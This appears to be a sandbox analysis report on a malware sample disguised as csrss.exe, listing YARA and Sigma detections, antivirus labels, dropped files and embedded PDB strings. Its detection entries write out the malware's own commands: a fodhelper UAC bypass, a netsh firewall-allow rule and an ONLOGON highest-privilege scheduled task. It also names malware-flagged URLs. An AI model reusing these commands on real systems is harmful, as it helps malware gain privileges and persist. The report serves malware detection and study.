44.2.csrss.exe.9a56e0.3.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
19.2.csrss.exe.400000.0.raw.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
19.2.csrss.exe.4500e50.9.raw.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
2.2.csrss.exe.4500e50.11.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
0.2.csrss.exe.9ad2e0.2.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3c8b8:$s2: The Magic Word! 0x489f8:$s2: The Magic Word! 0x3cc18:$s3: Software\Oracle\VirtualBox 0x3c8a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
11.2.csrss.exe.4500e50.9.raw.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
0.3.csrss.exe.5359a80.1.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
18.2.csrss.exe.9ab080.1.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
2.2.csrss.exe.9ab080.1.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
2.3.csrss.exe.4db0000.0.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
11.3.csrss.exe.535bce0.1.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3c8b8:$s2: The Magic Word! 0x489f8:$s2: The Magic Word! 0x3cc18:$s3: Software\Oracle\VirtualBox 0x3c8a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
18.2.csrss.exe.4aaa8d0.10.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
11.2.csrss.exe.400000.2.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
27.2.csrss.exe.400000.2.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
44.2.csrss.exe.400000.1.raw.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
19.2.csrss.exe.400000.0.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
41.2.csrss.exe.9ab080.1.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
11.2.csrss.exe.9ad2e0.3.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3c8b8:$s2: The Magic Word! 0x489f8:$s2: The Magic Word! 0x3cc18:$s3: Software\Oracle\VirtualBox 0x3c8a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
18.2.csrss.exe.4500e50.9.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
41.2.csrss.exe.4500e50.10.raw.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
19.3.csrss.exe.535bce0.3.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3c8b8:$s2: The Magic Word! 0x489f8:$s2: The Magic Word! 0x3cc18:$s3: Software\Oracle\VirtualBox 0x3c8a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
19.3.csrss.exe.5359a80.2.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
19.2.csrss.exe.9ab080.2.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
2.3.csrss.exe.5359a80.3.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
0.3.csrss.exe.535bce0.2.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3c8b8:$s2: The Magic Word! 0x489f8:$s2: The Magic Word! 0x3cc18:$s3: Software\Oracle\VirtualBox 0x3c8a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
0.2.csrss.exe.4500e50.11.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
0.2.csrss.exe.9ab080.0.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
0.2.csrss.exe.400000.1.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
18.2.csrss.exe.4500e50.9.raw.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
27.3.csrss.exe.4db0000.0.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
0.3.csrss.exe.4db0000.0.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
18.3.csrss.exe.5359a80.2.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
27.2.csrss.exe.4500e50.11.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
0.2.csrss.exe.4500e50.11.raw.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
2.3.csrss.exe.53540e0.2.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
27.2.csrss.exe.9ad2e0.1.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3c8b8:$s2: The Magic Word! 0x489f8:$s2: The Magic Word! 0x3cc18:$s3: Software\Oracle\VirtualBox 0x3c8a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
19.3.csrss.exe.53540e0.1.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
19.3.csrss.exe.4db0000.0.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
41.2.csrss.exe.400000.0.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
41.2.csrss.exe.4500e50.10.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
41.3.csrss.exe.4db0000.0.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
11.3.csrss.exe.4db0000.0.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
11.2.csrss.exe.4500e50.9.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
27.2.csrss.exe.4500e50.11.raw.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
18.3.csrss.exe.4db0000.0.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
2.2.csrss.exe.400000.3.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
19.2.csrss.exe.4500e50.9.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
18.2.csrss.exe.400000.3.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
Click to see the 99 entries

Sigma Overview

System Summary:

Sigma detected: System File Execution Location Anomaly

Show sources

Source: Process started

Author: Florian Roth, Patrick Bareiss, Anton Kutepov, oscd.community: Data: Command: C:\Users\user\Desktop\csrss.exe, CommandLine: C:\Users\user\Desktop\csrss.exe, CommandLine|base64offset|contains: , Image: C:\Users\user\Desktop\csrss.exe, NewProcessName: C:\Users\user\Desktop\csrss.exe, OriginalFileName: C:\Users\user\Desktop\csrss.exe, ParentCommandLine: "C:\Users\user\Desktop\csrss.exe" , ParentImage: C:\Users\user\Desktop\csrss.exe, ParentProcessId: 6132, ProcessCommandLine: C:\Users\user\Desktop\csrss.exe, ProcessId: 1240

Sigma detected: Bypass UAC via Fodhelper.exe

Show sources

Source: Process started

Author: E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community: Data: Command: "C:\Windows\rss\csrss.exe" , CommandLine: "C:\Windows\rss\csrss.exe" , CommandLine|base64offset|contains: , Image: C:\Windows\rss\csrss.exe, NewProcessName: C:\Windows\rss\csrss.exe, OriginalFileName: C:\Windows\rss\csrss.exe, ParentCommandLine: "C:\Windows\system32\fodhelper.exe" , ParentImage: C:\Windows\System32\fodhelper.exe, ParentProcessId: 5616, ProcessCommandLine: "C:\Windows\rss\csrss.exe" , ProcessId: 1744

Sigma detected: Netsh Port or Application Allowed

Show sources

Source: Process started

Author: Markus Neis, Sander Wiebing: Data: Command: netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes, CommandLine: netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes, CommandLine|base64offset|contains: l, Image: C:\Windows\System32\netsh.exe, NewProcessName: C:\Windows\System32\netsh.exe, OriginalFileName: C:\Windows\System32\netsh.exe, ParentCommandLine: C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5696, ProcessCommandLine: netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes, ProcessId: 6124

Sigma detected: Windows Processes Suspicious Parent Directory

Show sources

Source: Process started

Author: vburov: Data: Command: C:\Users\user\Desktop\csrss.exe, CommandLine: C:\Users\user\Desktop\csrss.exe, CommandLine|base64offset|contains: , Image: C:\Users\user\Desktop\csrss.exe, NewProcessName: C:\Users\user\Desktop\csrss.exe, OriginalFileName: C:\Users\user\Desktop\csrss.exe, ParentCommandLine: "C:\Users\user\Desktop\csrss.exe" , ParentImage: C:\Users\user\Desktop\csrss.exe, ParentProcessId: 6132, ProcessCommandLine: C:\Users\user\Desktop\csrss.exe, ProcessId: 1240

Persistence and Installation Behavior:

Sigma detected: Schedule system process

Show sources

Source: Process started

Author: Joe Security: Data: Command: schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F, CommandLine: schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F, CommandLine|base64offset|contains: mj,, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: C:\Windows\rss\csrss.exe "", ParentImage: C:\Windows\rss\csrss.exe, ParentProcessId: 1864, ProcessCommandLine: schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F, ProcessId: 5140

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: csrss.exe	Virustotal: Detection: 45%			Perma Link
Source: csrss.exe	ReversingLabs: Detection: 55%

Antivirus detection for URL or domain

Show sources

Source: https://runmodes.com/api/logfd1ff7c8-ab00-47a4-8c64-fdf00aafb0b1.uuid.trumops.comMicrosoft	Avira URL Cloud: Label: malware
Source: https://runmodes.com/api/log	Avira URL Cloud: Label: malware
Source: http://newscommer.com/app/app.exe	URL Reputation: Label: malware

Antivirus detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Avira: detection malicious, Label: TR/Agent.twerk
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll	Avira: detection malicious, Label: TR/Redcap.gsjan
Source: C:\Windows\windefender.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.eocey

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll	Metadefender: Detection: 45%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll	ReversingLabs: Detection: 59%
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Metadefender: Detection: 13%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	ReversingLabs: Detection: 73%
Source: C:\Windows\rss\csrss.exe	ReversingLabs: Detection: 55%
Source: C:\Windows\windefender.exe	Metadefender: Detection: 28%	Perma Link
Source: C:\Windows\windefender.exe	ReversingLabs: Detection: 82%

Machine Learning detection for sample

Show sources

Source: csrss.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Windows\rss\csrss.exe

Joe Sandbox ML: detected

Source: 11.3.csrss.exe.155da600.17.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 11.2.csrss.exe.15862000.17.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 11.3.csrss.exe.155e7000.16.unpack	Avira: Label: TR/Patched.Ren.Gen

Compliance:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\Desktop\csrss.exe	Unpacked PE file: 0.2.csrss.exe.400000.1.unpack
Source: C:\Users\user\Desktop\csrss.exe	Unpacked PE file: 2.2.csrss.exe.400000.3.unpack
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 11.2.csrss.exe.400000.2.unpack
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 18.2.csrss.exe.400000.3.unpack
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 19.2.csrss.exe.400000.0.unpack
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 27.2.csrss.exe.400000.2.unpack
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 41.2.csrss.exe.400000.0.unpack
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 44.2.csrss.exe.400000.1.unpack

Source: csrss.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\Desktop\csrss.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:	Binary string: Loader.pdb source: csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000000.00000003.319177342.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338272938.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000003.363550452.000000000518A000.00000004.00000001.sdmp
Source:	Binary string: EfiGuardDxe.pdb7 source: csrss.exe
Source:	Binary string: Unrecognized pdb formatThis error indicates attempting to access a .pdb file with source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: A connection with the server could not be establishedAn extended error was returned from the WinHttp serverThe .pdb file is probably no longer indexed in the symbol server share location. source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: Age does not matchThe module age and .pdb age do not match. source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: symsrv.pdb source: csrss.exe
Source:	Binary string: Cvinfo is corruptThe .pdb file contains a corrupted debug codeview information. source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\mac\Desktop\driver-process-monitor\x64\Release\WinmonProcessMonitor.pdb source: csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000000.00000003.319177342.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338272938.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000003.363550452.000000000518A000.00000004.00000001.sdmp
Source:	Binary string: Downloading symbols for [%s] %ssrvsymsrvhttp://https://_bad_pdb_file.pdb source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: The symbol server has never indexed any version of this symbol fileNo version of the .pdb file with the given name has ever been registered. source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\Admin\source\repos\ssdt-master\SSDT\win7x64\x64\Release\SSDTHook.pdb source: csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000000.00000003.319177342.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338272938.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000003.363550452.000000000518A000.00000004.00000001.sdmp
Source:	Binary string: PDB not foundUnable to locate the .pdb file in any of the symbol search path locations. source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: c:\Users\Admin\documents\visual studio 2015\Projects\Winmon\Release\Winmon.pdb source: csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000000.00000003.319177342.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338272938.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000003.363550452.000000000518A000.00000004.00000001.sdmp
Source:	Binary string: C:\vbox\branch\w64-1.6\out\win.amd64\release\obj\src\VBox\HostDrivers\VBoxDrv\VBoxDrv.pdb source: csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000000.00000003.319177342.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338272938.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000003.363550452.000000000518A000.00000004.00000001.sdmp
Source:	Binary string: Drive not readyThis error indicates a .pdb file related failure. source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: c:\Users\Admin\documents\visual studio 2015\Projects\Winmon\x64\Release\Winmon.pdb source: csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000000.00000003.319177342.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338272938.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000003.363550452.000000000518A000.00000004.00000001.sdmp
Source:	Binary string: Error while loading symbolsUnable to locate the .pdb file in any of the symbol search source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: zzz_AsmCodeRange_*FrameDatainvalid string positionstring too long.pdb source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\vladimir\source\repos\driver-process-monitor\Release\WinmonProcessMonitor.pdb source: csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000000.00000003.319177342.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338272938.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000003.363550452.000000000518A000.00000004.00000001.sdmp
Source:	Binary string: Pdb read access deniedYou may be attempting to access a .pdb file with read-only attributes source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: Unable to locate the .pdb file in this location source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\Admin\documents\visual studio 2015\Projects\WinmonFS\x64\Release\WinmonFS.pdb source: csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000000.00000003.319177342.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338272938.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000003.363550452.000000000518A000.00000004.00000001.sdmp
